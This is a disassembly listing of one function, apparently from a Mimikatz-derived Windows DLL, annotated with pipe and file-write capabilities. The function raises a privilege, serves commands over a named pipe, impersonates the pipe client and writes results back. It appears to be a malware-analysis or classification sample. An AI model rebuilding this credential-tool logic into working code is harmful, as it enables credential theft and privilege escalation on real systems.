Function at 0x1800123a4
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x340]
sub rsp, 0x440
xor r15d, r15d
lea r9, [rbp + 0x390]
xor r8d, r8d
lea esi, [r15 + 1]
mov dword [rbp + 0x388], r15d
lea ecx, [rsi + 0x13]
mov edx, esi
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
mov r13d, 0x100000
mov ecx, r13d
call fcn.18004f868
mov r12d, 0x80000
mov rbx, rax
mov qword [0x1800c2d10], rax
test rax, rax
je 0x18001264e
mov ecx, r12d
mov qword [0x1800c2d08], r12
call fcn.18004f868
mov qword [0x1800c42a8], rax
test rax, rax
je 0x18001266f
mov r8d, r12d
xor edx, edx
mov rcx, rax
call fcn.180051c00
mov r8d, r13d
xor edx, edx
mov rcx, rbx
call fcn.180051c00
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r15d
lea edx, [rsi + 2]
lea r8d, [r15 + 6]
lea rcx, str..pipePIPEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
mov r9d, esi
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
or rbx, 0xffffffffffffffff
mov rdi, rax
cmp rax, rbx
je 0x180012647
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x1800124a5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, r15d
cmp eax, 0x217
sete dl
test edx, edx
je 0x180012481
mov ecx, esi
call fcn.1800128c0
mov al, byte [str.MIMIKATZ_ABCDEFGHIJKLMNOPQRSTUVWXYZ]
cmp al, 0x21
je 0x1800124c3
cmp al, 0x40
je 0x1800124ed
lea rcx, str.MIMIKATZ_ABCDEFGHIJKLMNOPQRSTUVWXYZ
jmp 0x180012537
lea rdx, [rsp + 0x40]
lea rcx, str.token::elevate
call fcn.1800127c4
test eax, eax
je 0x1800124e4
lea rcx, [rsp + 0x40]
call fcn.1800129d0
jmp 0x180012518
cmp byte [str.MIMIKATZ_ABCDEFGHIJKLMNOPQRSTUVWXYZ], 0x40
jne 0x180012518
lea rax, [rbp + 0x388]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
mov rcx, qword [0x1800c2d10]
mov r8, r13
xor edx, edx
mov qword [0x1800c2d20], r15
call fcn.180051c00
lea rcx, [0x1800bd581]
lea rdx, [rsp + 0x40]
call fcn.1800127c4
test eax, eax
je 0x18001254f
lea rcx, [rsp + 0x40]
call fcn.180012308
xor ecx, ecx
call fcn.1800128c0
mov rsi, qword [0x1800c2d10]
mov r14, qword [0x1800c42a8]
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov r8, rsi
mov r9d, ebx
xor edx, edx
mov ecx, 0xfde9
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rdx, eax
cmp rdx, 0x7ffff
ja 0x180012621
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov r9d, ebx
mov r8, rsi
xor edx, edx
mov ecx, 0xfde9
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov r14, qword [0x1800c42a8]
inc rbx
cmp byte [r14 + rbx], r15b
jne 0x1800125c9
mov esi, r15d
mov dword [rbp + 0x380], r15d
test ebx, ebx
je 0x180012621
mov r13d, 0x2000
mov r8d, ebx
mov edx, esi
lea r9, [rbp + 0x380]
sub r8d, esi
mov rcx, rdi
mov qword [rsp + 0x20], r15
cmp r8d, r13d
cmova r8d, r13d
add rdx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18001261b
add esi, dword [rbp + 0x380]
cmp esi, ebx
jb 0x1800125e6
mov r13d, 0x100000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [0x1800c2d10]
mov rdi, qword [0x1800c42a8]
test rdi, rdi
je 0x18001266f
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.180051c00
mov rcx, rdi
call fcn.18004edb8
test rbx, rbx
je 0x180012689
mov r8, r13
xor edx, edx
mov rcx, rbx
call fcn.180051c00
mov rcx, rbx
call fcn.18004edb8
mov ecx, dword [0x1800c2d84]
test ecx, ecx
je 0x1800126b5
mov rdx, qword [0x1800c2d88]
test rdx, rdx
je 0x1800126b5
mov eax, dword [0x1800c2d80]
sub ecx, eax
mov r8d, ecx
lea rcx, [rdx + rax]
xor edx, edx
call fcn.180051c00
mov rbx, qword [rsp + 0x498]
add rsp, 0x440
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret